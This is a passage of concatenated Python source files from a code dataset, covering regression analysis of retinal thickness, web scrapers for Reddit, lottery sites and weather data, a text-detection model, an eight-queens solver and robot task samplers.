\"TemporalOuter\", \"InferiorOuter\",]\nsectorIndexes=[0,1,2,3,4,5,6,7,8]\n\nimport os\nimport numpy as np\nimport statsmodels.api as sm\n\ndef main():\n YNames=[]\n for i in range(len(layerNames)):\n for j in range(len(sectorNames)):\n YNames.append(f\"{layerNames[i]}_{sectorNames[j]}\")\n assert(nSectors == len(YNames))\n\n # load X and Y\n XPath = os.path.join(MLR_Dir, XFilename)\n YPath = os.path.join(MLR_Dir, ThicknessFilename)\n\n X = np.load(XPath)\n Y = np.load(YPath)\n assert ((N,nFtrs) == X.shape)\n assert ((N,nSectors) == Y.shape)\n\n R2 = np.zeros((nTrying, nSectors),dtype=float) # adjusted R-squared :.3f\n AIC = np.zeros((nTrying, nSectors),dtype=float) # :e\n pValues = np.zeros((nTrying, nInput, nSectors),dtype=float) # :.3f\n\n xnameFixed=[]\n for i in fixedXIndexes:\n xnameFixed.append(XNames[i])\n xnameFixedStr= \"_\".join(xnameFixed)\n\n for i in range(nTrying):\n tryFtr = tryingXindexes[i]\n x = np.concatenate((X[:, fixedXIndexes],X[:,tryFtr].reshape(-1,1)), axis=1)\n for sector in range(nSectors):\n y = Y[:,sector]\n x = sm.add_constant(x,prepend=True, has_constant='skip')\n mod = sm.OLS(y, x)\n res = mod.fit()\n xname = xnameFixed + [XNames[tryFtr], ]\n #print(res.summary(yname=YNames[sector], xname=[\"constant\",]+xname,\n # title=f\"{nInput} Variable LR between {YNames[sector]} and {xname}\", alpha=0.05))\n R2[i,sector] = res.rsquared_adj\n AIC[i,sector] = res.aic\n for k in range(nInput):\n pValues[i, k, sector] = res.pvalues[k+1]\n #break\n\n # save pValues into a csv files.\n R2Filename = f\"{modelClass}_RSquared.csv\"\n AICFilename = f\"{modelClass}_AIC.csv\"\n pValueFilename = f\"{modelClass}_Pvalues.csv\"\n\n R2Path = os.path.join(MLR_Dir, R2Filename)\n AICPath = os.path.join(MLR_Dir, AICFilename)\n pValuePath = os.path.join(MLR_Dir, pValueFilename)\n\n tableHead = \",\" + \",\".join(YNames)+\"\\n\"\n\n with open(R2Path, 'w') as file:\n file.write(tableHead)\n values = R2 # :.3f\n for i in range(nTrying):\n tryFtr = tryingXindexes[i]\n row = values[i,:].tolist()\n row = [f\"{x:.3f}\" for x in row]\n row =xnameFixedStr+\"_\"+XNames[tryFtr]+\",\"+ \",\".join(row) + \"\\n\"\n file.write(row)\n\n with open(AICPath, 'w') as file:\n file.write(tableHead)\n values = AIC # :e\n for i in range(nTrying):\n tryFtr = tryingXindexes[i]\n row = values[i,:].tolist()\n row = [f\"{x:e}\" for x in row]\n row =xnameFixedStr+\"_\"+XNames[tryFtr]+\",\"+ \",\".join(row) + \"\\n\"\n file.write(row)\n\n with open(pValuePath, 'w') as file:\n tableHead = \"model, input,\" + \",\".join(YNames)+\"\\n\"\n file.write(tableHead)\n values = pValues # :3f\n for i in range(nTrying):\n tryFtr = tryingXindexes[i]\n inputNames = xnameFixed + [XNames[tryFtr],]\n modelName = \"_\".join(inputNames)\n for k in range(nInput):\n row = values[i,k,:].tolist()\n row = [f\"{x:.3f}\" for x in row]\n row =modelName+\",\"+inputNames[k]+\",\"+ \",\".join(row) + \"\\n\"\n file.write(row)\n\n # Average AIC for each input model\n print(f\"========Average AIC for {nSectors} MLR Models========\")\n avgAIC = np.mean(AIC, axis=1)\n stdAIC = np.std(AIC, axis=1)\n for i in range(nTrying):\n tryFtr = tryingXindexes[i]\n inputNames = xnameFixed + [XNames[tryFtr], ]\n modelName = \"_\".join(inputNames)\n print(f\"{modelName}: avgAIC±std = {avgAIC[i]:.2f} ± {stdAIC[i]:.2f} \")\n\n minAICIndex = np.argmin(AIC)\n minAICIndex = np.unravel_index(minAICIndex, AIC.shape)\n minAICvalue = np.amin(AIC)\n i, j = minAICIndex\n tryFtr = tryingXindexes[i]\n minModel = xnameFixedStr+\"_\"+XNames[tryFtr]\n minSector = YNames[j]\n print(f\"at the model {minModel} and the sector {minSector}, the AIC has minimum value of {minAICvalue:.3f}\")\n\n # find R-squared max top K locations\n topKLoc = np.argsort(R2, axis=None)\n topKLoc = np.unravel_index(topKLoc[-(K+1):-1], R2.shape)\n print(\"R-squared is a goodness-of-fit measure for linear regression models\")\n print(f\"===========================Top {K} R-squared in {len(tryingXindexes)} x {nSectors} MLR Models ====================================\")\n pValuesHead = []\n for k in range(nInput):\n pValuesHead.append(f\"p-value[{k}]\")\n pValuesHead = \"\\t\".join(pValuesHead)\n print(f\"InputModel\\t\\t\\t\\tSectorLocation\\t\\t\\t\\tR-squared\\t\\tAIC\\t\\t{pValuesHead}\")\n for n in range(len(topKLoc[0])):\n i = topKLoc[0][K-1-n]\n j = topKLoc[1][K-1-n]\n tryFtr = tryingXindexes[i]\n model = xnameFixedStr + \"_\" + XNames[tryFtr]\n sector = YNames[j]\n pValuesTry =[]\n for k in range(nInput):\n pValuesTry.append(pValues[i,k,j])\n pValuesTry = [f\"{x:.3f}\" for x in pValuesTry]\n pValuesTry = \"\\t\\t\".join(pValuesTry)\n print(f\"{model} \\t\\t{sector}\\t\\t{R2[i,j]:.3f}\\t\\t{AIC[i,j]:.2f}\\t\\t{pValuesTry}\")\n print(f\"===========================================================================================\")\n print(f\"Notes: here pvalues correspond the variables in the input model.\")\n\n # find AIC min top K locations\n topKLoc = np.argsort(AIC, axis=None)\n topKLoc = np.unravel_index(topKLoc[0:K], AIC.shape)\n print(\"\\nAIC estimates the relative amount of information lost by a given model. \")\n print(\n f\"===========================Top {K} minimum AIC in {len(tryingXindexes)} x {nSectors} MLR Models ====================================\")\n pValuesHead = []\n for k in range(nInput):\n pValuesHead.append(f\"p-value[{k}]\")\n pValuesHead = \"\\t\".join(pValuesHead)\n print(f\"InputModel\\t\\t\\t\\tSectorLocation\\t\\t\\t\\tR-squared\\t\\tAIC\\t\\t{pValuesHead}\")\n for n in range(len(topKLoc[0])):\n i = topKLoc[0][n]\n j = topKLoc[1][n]\n tryFtr = tryingXindexes[i]\n model = xnameFixedStr + \"_\" + XNames[tryFtr]\n sector = YNames[j]\n pValuesTry = []\n for k in range(nInput):\n pValuesTry.append(pValues[i, k, j])\n pValuesTry = [f\"{x:.3f}\" for x in pValuesTry]\n pValuesTry = \"\\t\\t\".join(pValuesTry)\n print(f\"{model} \\t\\t{sector}\\t\\t{R2[i, j]:.3f}\\t\\t{AIC[i, j]:.2f}\\t\\t{pValuesTry}\")\n print(f\"===========================================================================================\")\n print(f\"Notes: here pvalues correspond the variables in the input model.\")\n\n # find the number of p-value <0.05 for new trying feature in all 9x9 sector.\n print(f\"==================================================\")\n tryingPValue = pValues[:, -1, :] # size: nTrying x sector for the new trying feature\n signifThreshold = 0.05\n pValuesNum5percent = np.sum((tryingPValue < signifThreshold).astype(int), axis=1)\n print(f\"The Number of MLR models whose {modelClass} p-value < {signifThreshold:.2f} in all 81 models:\")\n for i in range(nTrying):\n tryFtr = tryingXindexes[i]\n print(f\"{XNames[tryFtr]}: \\t\\t{pValuesNum5percent[i]}\")\n print(f\"==================================================\")\n signifThreshold = 0.10\n pValuesNum5percent = np.sum((tryingPValue < signifThreshold).astype(int), axis=1)\n print(f\"The Number of MLR models whose {modelClass} p-value < {signifThreshold:.2f} in all 81 models:\")\n for i in range(nTrying):\n tryFtr = tryingXindexes[i]\n print(f\"{XNames[tryFtr]}: \\t\\t{pValuesNum5percent[i]}\")\n print(f\"==================================================\")\n\n print(f\"===============Finish {modelClass} Linear regression================\")\n\n\nif __name__ == \"__main__\":\n main()","sub_path":"OCT2SysDisease/HypertensionAssociation/threeVLinearRegression.py","file_name":"threeVLinearRegression.py","file_ext":"py","file_size_in_byte":9380,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"210732998","text":"import requests\n# m=''\n# c = open('/home/xela/py/1/4.txt','w')\nurl1='https://stepic.org/media/attachments/course67/3.6.3/'\n# url='https://stepic.org/media/attachments/course67/3.6.3/699991.txt'\nr=requests.get('https://stepic.org/media/attachments/course67/3.6.3/699991.txt')\npar=r.text\n# r=requests.get(url1,params=par)\n# print(par)\n# print(type(url1))\n# m = url1 + par\n# print(m)\n# r = requests.get(m)\n# par=r.text\n# print(par)\n# m=url1+par\n# print((m))\n# print(r.url)\nwhile 'We' not in par:\n m = url1 + par\n r = requests.get(m)\n par=r.text\n print(par)\n# for s in r.text:\n# if 'We' not in r.text:\n# requests.get(str(url)+'s')\n# print(s)\n# else:\n# print(s)\n\n# for s in r:\n# if 'We' in no\n","sub_path":"Black Box(Smoke)/scratches/3.6.2.py","file_name":"3.6.2.py","file_ext":"py","file_size_in_byte":736,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"150935823","text":"import asyncio\nimport concurrent\nimport logging\nimport sys\n\nfrom bs4 import BeautifulSoup\n\nBASE_URL = 'https://old.reddit.com'\nBASE_URL_SUBREDDIT = '/r/{subreddit}/'\nMAX_PAGES = 5\n\nHEADERS = {\n 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) '\n 'AppleWebKit/537.36 (KHTML, like Gecko) '\n 'Chrome/39.0.2171.95 Safari/537.36'\n}\n\n\ndef command_surrounded_by_frame(func):\n \"\"\"Surround given function execution with a frame.\n\n :param func: Original function\n :return: new callable\n :rtype: callable\n \"\"\"\n def inner(*args, **kwargs):\n max_length = 80\n print('=' * max_length)\n func(*args, **kwargs)\n print('=' * max_length)\n\n return inner\n\n\ndef command_exception_handler(func):\n \"\"\"Handle with command execution errors\n\n :param func: Original function\n :return: new callable\n :rtype: callable\n \"\"\"\n def inner(*args, **kwargs):\n try:\n func(*args, **kwargs)\n except Exception as ex:\n message = ex if any(ex.args) else type(ex).__name__\n print(f'Error: {message}')\n\n return inner\n\n\ndef command_logging(func):\n \"\"\"Activate command logging\n\n :param func: Original function\n :return: new callable\n :rtype: callable\n \"\"\"\n def inner(*args, **kwargs):\n if kwargs.get('log'):\n reddit = logging.getLogger()\n reddit.setLevel(logging.DEBUG)\n\n handler = logging.StreamHandler(sys.stdout)\n handler.setLevel(logging.DEBUG)\n formatter = \\\n logging.Formatter(\n '%(asctime)s - %(name)s - %(levelname)s - %(message)s'\n )\n handler.setFormatter(formatter)\n reddit.addHandler(handler)\n func(*args, **kwargs)\n\n return inner\n\n\ndef _split_subreddit_names(subreddit_names):\n \"\"\"Split subreddit names into a tuple.\n\n :param subreddit_names: Name of subbreddits separated by \";\".\n :type subreddit_names: str\n :return: Tuple with subreddit names.\n :rtype: tuple\n \"\"\"\n return tuple(name for name in subreddit_names.split(';') if name)\n\n\ndef _request_url(url):\n import requests\n try:\n return requests.get(\n url,\n headers=HEADERS,\n )\n except Exception as ex:\n logging.error(f'Can not request. {ex}')\n raise Exception(f'Can not request \"{url}\".') from None\n\n\ndef _request_subreddit(subreddit_name):\n url = f'{BASE_URL}{BASE_URL_SUBREDDIT}' \\\n .format(subreddit=subreddit_name)\n return _request_url(url)\n\n\ndef _parse_reddit_items(soup):\n threads = soup.find_all('div', {'class': 'thing'})\n\n items = []\n for thread in threads:\n link = f'{BASE_URL}{thread.get(\"data-url\")}' \\\n if thread.get(\"data-url\").startswith('/r/') \\\n else thread.get(\"data-url\")\n\n tittle = thread.find('a', {'class': 'title'}).text\n\n logging.info(f'Found thread \"{tittle}\"')\n\n items.append({\n 'title': tittle,\n 'link': link,\n 'upvotes': int(thread.get('data-score')),\n 'comments_link': f'{BASE_URL}{thread.get(\"data-permalink\")}',\n 'subreddit_link': f'{BASE_URL}/r/{thread.get(\"data-subreddit\")}',\n })\n\n return items\n\n\ndef _parse_response(response):\n try:\n return _parse_reddit_items(\n BeautifulSoup(response.content, 'html.parser')\n )\n\n except Exception as ex:\n logging.error(f'Can not parse response. {ex}')\n raise Exception(f'Can not parse response.') from None\n\n\ndef _execute_func_concurrent(request_function, params):\n loop = asyncio.new_event_loop()\n asyncio.set_event_loop(loop)\n\n try:\n with concurrent.futures.ThreadPoolExecutor(max_workers=6) as pool:\n futures = [\n loop.run_in_executor(pool, request_function, param)\n for param in params\n ]\n\n loop.run_until_complete(asyncio.wait(futures))\n loop.close()\n\n return [future.result() for future in futures]\n except Exception as ex:\n logging.error(f'Can not execute requests as futures. {ex}')\n return []\n\n\ndef _request_concurrent(subreddits):\n \"\"\"Request each subreddit concurrently.\n\n :param subreddits: Tuple of subreddits.\n :type subreddits: tuple\n :return: List of request.Response.\n :rtype: list\n \"\"\"\n loop = asyncio.new_event_loop()\n asyncio.set_event_loop(loop)\n\n return _execute_func_concurrent(_request_subreddit, subreddits)\n\n\ndef _get_next_page_url(response):\n soup = BeautifulSoup(response.content, 'html.parser')\n try:\n next_button = soup.find('span', {'class': 'next-button'})\n return next_button.find('a').get('href')\n except Exception:\n logging.error(f'There is not next button on \"{response.url}\".')\n return None\n\n\ndef _request_concurrent_next_pages(responses, current_page=0):\n \"\"\"Request for response next pages concurrently.\n\n :param responses: List of requests.Response\n :type responses: list\n :return: List of request.Response.\n :rtype: list\n \"\"\"\n if current_page == MAX_PAGES:\n return responses\n\n urls = [\n _get_next_page_url(response)\n for response in responses\n if _get_next_page_url(response)\n ]\n responses = _execute_func_concurrent(_request_url, urls)\n\n return _request_concurrent_next_pages(responses, current_page + 1)\n\n\ndef _unpack(parsed_responses):\n return [item for items in parsed_responses for item in items]\n\n\ndef _filter_by_upvotes(parsed_responses, min_upvotes):\n return list(\n filter(\n lambda item: item.get('upvotes', 0) >= min_upvotes,\n parsed_responses\n )\n )\n\n\ndef get_reddits(subreddit_names, min_upvotes=5000):\n responses = []\n responses += _request_concurrent(_split_subreddit_names(subreddit_names))\n responses += _request_concurrent_next_pages(responses)\n\n parsed_responses = map(_parse_response, responses)\n parsed_responses = _unpack(parsed_responses)\n parsed_responses = _filter_by_upvotes(parsed_responses, min_upvotes)\n\n return parsed_responses\n","sub_path":"crawlers/reddit/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":6174,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"79506005","text":"import torch.nn as nn\nfrom .base import BaseDetector\nfrom ..registry import DETECTORS\nfrom ..builder import build_backbone,build_neck,build_head\n\n@DETECTORS.register_module\nclass DBDetector(BaseDetector):\n\n def __init__(\n self,\n backbone,\n neck=None,\n det_head = None,\n train_cfg = None,\n test_cfg = None,\n pretrained = None):\n super(DBDetector,self).__init__()\n self.backbone = build_backbone(backbone)\n self.neck = None\n if neck is not None:\n self.neck = build_neck(neck)\n self.det_head = build_head(det_head)\n self.train_cfg = train_cfg\n self.test_cfg = test_cfg\n self.init_weights(pretrained)\n\n def extract_feat(self, data:dict):\n img_features = data.get('img')\n img_features = self.backbone(img_features)\n if self.neck!=None:\n img_features =self.neck(img_features)\n data[\"img\"] = img_features\n return data\n\n def init_weights(self, pretrained=None):\n if hasattr(self.backbone, \"init_weights\"):\n self.backbone.init_weights(True)\n if self.neck!=None and hasattr(self.neck, \"init_weights\"):\n self.neck.init_weights(pretrained)\n self.det_head.init_weights()\n\n def forward(self,data:dict,return_loss=True, **kwargs):\n \"\"\"\n\n \"\"\"\n if return_loss:\n outputs = self.forward_train(data, **kwargs)\n else:\n outputs = self.forward_test(data, **kwargs)\n return outputs\n\n\n def forward_train(self,\n data:dict,\n **kwargs):\n data = self.extract_feat(data)\n losses = self.det_head(data, return_loss=True)\n ##在runner中loss 回传\n return losses\n\n def forward_test(self,data:dict,**kwargs):\n data = self.extract_feat(data)\n outs = self.det_head(data, return_loss=False)\n return outs\n\n def postprocess(self,preds):\n ##预测变为预测框\n return self.det_head.postprocess(preds)\n\nclass DBFeatureModel(nn.Module):\n def __init__(self,backbone,neck):\n super(DBFeatureModel, self).__init__()\n self.backbone = backbone\n self.neck = neck","sub_path":"texthub/modules/detectors/db_detector.py","file_name":"db_detector.py","file_ext":"py","file_size_in_byte":2261,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"74128088","text":"def genSortKey(col,up):\n\tdef key(x):\n\t\tif up:\n\t\t\treturn x[col]\n\t\telse:\n\t\t\treturn -x[col]\n\treturn key\nsortKey = genSortKey(3,False)\n\nm = [[1,5,3,7,6],[6,3,1,5,6],[8,5,2,6,4]]\n\nsortm = sorted(m,key=sortKey)\n\nprint(sortm)\n","sub_path":"Python/sortKey.py","file_name":"sortKey.py","file_ext":"py","file_size_in_byte":219,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"311721079","text":"import requests\nimport xlwt\nimport xlrd\nimport os\nimport json\nimport time\nfrom lxml import etree\nfrom xlutils.copy import copy\n\n\n# 获取预测信息\ndef get_forecast_info_1():\n # 目标网址\n aim_big_small_url = \"http://www.zhonghunwei.com/\"\n aim_single_double_url = 'http://www.zhonghunwei.com/danshuang.html'\n header = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'}\n # 预测通用信息\n response_big_small = requests.get(aim_big_small_url, headers=header)\n html_big_small = etree.HTML(response_big_small.text, etree.HTMLParser())\n response_single_double = requests.get(aim_single_double_url, headers=header)\n html_single_double = etree.HTML(response_single_double.text, etree.HTMLParser())\n\n lottery_last_period = html_big_small.xpath('//*[@id=\"plan_num_cur\"]/text()')[0]\n lottery_hundred_number = html_big_small.xpath('//*[@id=\"kj_haoma\"]/span[1]/text()')[0]\n lottery_ten_number = html_big_small.xpath('//*[@id=\"kj_haoma\"]/span[2]/text()')[0]\n lottery_unit_number = html_big_small.xpath('//*[@id=\"kj_haoma\"]/span[3]/text()')[0]\n\n # 大小预测\n lottery_big_small = html_big_small.xpath('//*[@id=\"jh_content\"]/tbody/tr[1]/td[2]/text()')[0]\n # 单双预测\n lottery_single_double = html_single_double.xpath('//*[@id=\"jh_content\"]/tbody/tr[1]/td[2]/text()')[0]\n\n\ndef get_forecast_info_2():\n # 目标网址\n aim_big_small_url = \"http://www.sjfsh.com/\"\n aim_single_double_url = 'http://www.sjfsh.com/danshuang.php'\n header = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'}\n # 预测通用信息\n response_big_small = requests.get(aim_big_small_url, headers=header)\n html_big_small = etree.HTML(response_big_small.text, etree.HTMLParser())\n response_single_double = requests.get(aim_single_double_url, headers=header)\n html_single_double = etree.HTML(response_single_double.text, etree.HTMLParser())\n\n lottery_last_period = html_big_small.xpath('/html/body/div[1]/div[2]/div[2]/p/span[1]/text()')[0]\n lottery_hundred_number = html_big_small.xpath('/html/body/div[1]/div[2]/div[2]/p/span[2]/text()')[0]\n lottery_ten_number = html_big_small.xpath('/html/body/div[1]/div[2]/div[2]/p/span[3]/text()')[0]\n lottery_unit_number = html_big_small.xpath('/html/body/div[1]/div[2]/div[2]/p/span[4]/text()')[0]\n\n # 大小预测\n lottery_big_small = html_big_small.xpath('//*[@id=\"jh_content\"]/tbody/tr[1]/td[2]/text()')[0]\n # 单双预测\n lottery_single_double = html_single_double.xpath('//*[@id=\"jh_content\"]/tbody/tr[1]/td[2]/text()')[0]\n\n\ndef get_forecast_info_3():\n # 目标网址\n aim_url = 'http://47.75.48.179:8090/index.php/index/index/shouye'\n header = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'}\n payload_big_small = {'type': '9', 'playmethod': '1', 'jiekou': '1'}\n payload_single_double = {'type': '9', 'playmethod': '2', 'jiekou': '1'}\n\n # 预测通用信息\n response_big_small = requests.get(aim_url, params=payload_big_small, headers=header)\n json_big_small = response_big_small.json()\n response_single_double = requests.get(aim_url, params=payload_single_double, headers=header)\n json_single_double = response_single_double.json()\n lottery_last_period = json_big_small['TopGame']['gameid']\n lottery_hundred_number = json_big_small['TopGame']['R1']\n lottery_ten_number = json_big_small['TopGame']['R2']\n lottery_unit_number = json_big_small['TopGame']['R3']\n\n # 大小预测\n lottery_big_small = json_big_small['GameMultiple']['num']\n # 单双预测\n lottery_single_double = json_single_double['GameMultiple']['num']\n\n\nif __name__ == '__main__':\n get_forecast_info_1()\n # get_forecast_info_2()\n # get_forecast_info_3()\n\n","sub_path":"get_forecast_info.py","file_name":"get_forecast_info.py","file_ext":"py","file_size_in_byte":3943,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"165557076","text":"def test(current, row):\n length = len(current)\n for i in range(length):\n if abs(current[i] - row) in (0, length - i):\n return False\n return True\n\n\ndef queens(nums=8, state=None):\n if state is None:\n state = []\n for i in range(nums):\n if test(state, i):\n if len(state) == nums - 1:\n yield [i]\n else:\n for result in queens(nums, state + [i]):\n yield [i] + result\n\n\nif __name__ == '__main__':\n print(len(list(queens())))\n","sub_path":"Algorithm/Puzzle/EightQueen.py","file_name":"EightQueen.py","file_ext":"py","file_size_in_byte":539,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"517444837","text":"# Dependencies and Setup\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport numpy as np\nimport requests\nimport time\n\n# Import API key\nfrom api_keys import api_key\n\n# Incorporated citipy to determine city based on latitude and longitude\nfrom citipy import citipy\n\n\n# Output File (CSV)\noutput_data_file = \"output_data/cities.csv\"\n\n# Range of latitudes and longitudes\nlat_range = (-90, 90)\nlng_range = (-180, 180)\n\n\n# List for holding lat_lngs and cities\nlat_lngs = []\ncities = []\n\n# Create a set of random lat and lng combinations\nlats = np.random.uniform(low=-90.000, high=90.000, size=1500)\nlngs = np.random.uniform(low=-180.000, high=180.000, size=1500)\nlat_lngs = zip(lats, lngs)\n\n# Identify nearest city for each lat, lng combination\nfor lat_lng in lat_lngs:\n city = citipy.nearest_city(lat_lng[0], lat_lng[1]).city_name\n \n # If the city is unique, then add it to a our cities list\n if city not in cities:\n cities.append(city)\n\n# Print the city count to confirm sufficient count\nlen(cities)\n#print(cities)\n\n\nurl = \"http://api.openweathermap.org/data/2.5/weather?units=Imperial&APPID=\" + api_key\n\n\n# Get weather data\nCity_name = []\nCloudiness = []\nCountry = []\nDate = []\nHumidity = []\nLat = []\nLng = []\nMax_temp = []\nWind_speed = []\n\nrecord = 1\n\n#response = requests.get(f\"{url}&q=London\").json() \n#print(response)\n\n# Starting URL for Weather Map API Call\nurl = \"http://api.openweathermap.org/data/2.5/weather?units=Imperial&APPID=\" + api_key \ncity_data = []\n\n\nprint(\"Beginning Data Retrieval \")\nprint(\"-----------------------------\")\n\nfor city in cities:\n city_url = url + \"&q=\" + city\n print(city_url)\n try:\n city_weather = requests.get(city_url).json()\n city_lat = city_weather['coord']['lat']\n city_mtemp = city_weather['main']['temp_max']\n city_humidity = city_weather['main']['humidity']\n city_cloudiness = city_weather['clouds']['all']\n city_wspeed = city_weather['wind']['speed']\n city_data.append({\"city\":city,\n \"Latitude\":city_lat,\n \"Max Temp\":city_mtemp,\n \"Humidity\":city_humidity,\n \"Cloudiness\":city_cloudiness,\n \"Wind Speed\":city_wspeed,\n })\n except:\n print(\"city not found\")\n pass\n\n\ncity_df = pd.DataFrame(city_data)\n\ncity_df = city_df [[\"city\",\"Cloudiness\",\"Humidity\",\"Latitude\",\"Max Temp\",\"Wind Speed\"]]\ncity_df.head()\n\n\ncity_df = pd.DataFrame(city_data)\n \ncity_df = city_df [[\"city\",\"Cloudiness\",\"Humidity\",\"Latitude\",\"Max Temp\",\"Wind Speed\"]]\ncity_df.head()\n\n\n# Latitude Vs Max Temperature plot\ncity_df.plot(x = 'Latitude',y = 'Max Temp',kind ='scatter',title=\"Latitude Vs Max Temperature\",grid = True)\n \nplt.savefig(\"images/Max_Temp_vs_Latitude.png\")\nplt.show()\n\n\n# latitude vs Humidity\ncity_df.plot(x='Latitude',y='Humidity',kind = 'scatter',title =\"Latitude vs Humidity\",grid = True)\n\nplt.savefig(\"images/Humidity_vs_Latitude.png\")\nplt.show()\n\n# Cloudiness (%) vs. Latitude\ncity_df.plot(x='Latitude',y='Cloudiness',kind = 'scatter',title =\"Cloudiness (%) vs. Latitude\",grid = True)\n\nplt.savefig(\"images/Cloudiness_vs_Latitude.png\")\nplt.show()\n\n\n# Wind Speed (mph) vs. Latitude\ncity_df.plot(x='Latitude',y='Wind Speed',kind = 'scatter',title =\"Wind Speed (mph) vs. Latitude\",grid = True) \n\nplt.savefig(\"images/Wind_Speed_vs_Latitude.png\")\nplt.show()\n","sub_path":"APIs.py","file_name":"APIs.py","file_ext":"py","file_size_in_byte":3404,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"68502588","text":"import numpy as np\nimport os\nfrom time import sleep\nfrom collections import OrderedDict\nfrom gym.envs.robotics import utils\nfrom gym import utils as gym_utils\nfrom rlkit.envs import few_shot_robot_env\n\nfrom rlkit.envs.meta_task_params_sampler import MetaTaskParamsSampler\n\n\ndef goal_distance(goal_a, goal_b):\n assert goal_a.shape == goal_b.shape\n return np.linalg.norm(goal_a - goal_b, axis=-1)\n\n\n# These random seeds are literally me typing random numbers\n# (I didn't tune my random seed for demo generation LOL)\ndef get_some_task_params_iterator(train_env=True, num=50):\n # when you fix this make sure really all the colors are correct\n if train_env:\n return _BaseParamsSampler(random=2497, num_colors=num)\n else:\n return _BaseParamsSampler(random=8384, num_colors=num)\n\n\n# These random seeds are literally me typing random numbers\n# (I didn't tune my random seed for demo generation LOL)\ndef get_task_params_iterator(train_env=True):\n # when you fix this make sure really all the colors are correct\n if train_env:\n return _BaseParamsSampler(random=2497)\n else:\n return _BaseParamsSampler(random=8384)\n\n# this debug one uses only a few tasks so we can make sure things are actually working first\ndef get_debug_task_params_iterator(train_env=True):\n if train_env:\n return _FullySpecifiedParamsSampler(random=7342, num_colors=1, num_random_samples_per_color=1000, same_color_radius=0.5)\n else:\n return _FullySpecifiedParamsSampler(random=7342, num_colors=1, num_random_samples_per_color=1000, same_color_radius=0.5)\n # return _BaseParamsSampler(random=7342, num_colors=1)\n # return _FullySpecifiedParamsSampler(random=7342, num_colors=1, num_random_samples_per_color=500, same_color_radius=0.5)\n\n# another debug one\ndef get_zero_task_params_iterator(train_env=True):\n # when you fix this make sure really all the colors are correct\n if train_env:\n return _ZeroParamsSampler(random=2497)\n else:\n return _ZeroParamsSampler(random=8384)\n\n\nclass _ZeroParamsSampler(MetaTaskParamsSampler):\n def __init__(self, random=None, num_colors=50):\n super().__init__()\n if not isinstance(random, np.random.RandomState):\n random = np.random.RandomState(random)\n self._random = random\n \n def sample(self):\n color = np.zeros(3)\n return {'goal_color_center': color}, color\n \n def sample_unique(self, num):\n # this means sample uniques tasks\n color = np.zeros(3)\n return [({'goal_color_center': color}, color)]\n\n def __iter__(self):\n self.itr_ptr = 0\n return self\n \n def __next__(self):\n if self.itr_ptr == 1: raise StopIteration\n color = np.zeros(3)\n self.itr_ptr += 1\n return {'goal_color_center': color}, color\n\n\n# task_params = {\n# 'goal_color_center': np.array...\n# 'other_color_center': np.array... (optional)\n# 'specific_color_from_goal_radius': np.array (optional)\n# 'specific_color_from_other_radius': np.array (optional)\n# }\nclass _FullySpecifiedParamsSampler(MetaTaskParamsSampler):\n def __init__(self, random=None, num_colors=50, num_random_samples_per_color=10, same_color_radius=0.5):\n super().__init__()\n if not isinstance(random, np.random.RandomState):\n random = np.random.RandomState(random)\n self._random = random\n\n # sample the goal color centers\n self.num_colors = num_colors\n self.num_random_samples_per_color = num_random_samples_per_color\n self.same_color_radius = same_color_radius\n\n self.goal_color_centers = self._random.uniform(-1.0, 1.0, size=(self.num_colors,3))\n self.specific_params = {tuple(gc): [] for gc in self.goal_color_centers}\n for goal_color in self.goal_color_centers:\n for _ in range(self.num_random_samples_per_color):\n goal_specific_color = self._sample_color_within_radius(goal_color, self.same_color_radius)\n other_center = self._sample_color_with_min_dist(goal_color, self.same_color_radius)\n # other_specific_color = self._sample_color_within_radius(other_center, self.same_color_radius)\n other_specific_color = other_center\n self.specific_params[tuple(goal_color)].append({\n 'goal_color_center': goal_color,\n 'specific_color_from_goal_radius': goal_specific_color,\n 'specific_color_from_other_radius': other_specific_color\n })\n\n def _sample_specific_params(self, color):\n idx = self._random.randint(0, self.num_random_samples_per_color)\n spec_par = self.specific_params[tuple(color)][idx]\n return spec_par\n\n def sample(self):\n idx = self._random.randint(0, self.num_colors)\n color = self.goal_color_centers[idx]\n spec_par = self._sample_specific_params(color)\n return spec_par, color\n \n def sample_unique(self, num):\n # this means sample uniques tasks\n idxs = self._random.choice(self.num_colors, size=num, replace=False)\n return list(\n map(lambda color: (self._sample_specific_params(color), color), (self.goal_color_centers[idx] for idx in idxs))\n )\n\n def _sample_color_within_radius(self, center, radius):\n x = self._random.normal(size=3)\n x /= np.linalg.norm(x, axis=-1)\n r = radius\n u = self._random.uniform()\n sampled_color = r * (u**(1.0/3.0)) * x + center\n return np.clip(sampled_color, -1.0, 1.0)\n \n def _sample_color_with_min_dist(self, color, min_dist):\n new_color = self._random.uniform(-1.0, 1.0, size=3)\n while np.linalg.norm(new_color - color, axis=-1) < min_dist:\n new_color = self._random.uniform(-1.0, 1.0, size=3)\n return new_color\n\n def __iter__(self):\n self.itr_ptr = 0\n self.sub_itr_ptr = 0\n return self\n \n def __next__(self):\n # if self.itr_ptr == self.num_colors: raise StopIteration\n # color = self.goal_color_centers[self.itr_ptr]\n # self.itr_ptr += 1\n # return self._sample_specific_params(color), color\n\n if self.itr_ptr == self.num_colors: raise StopIteration\n color = 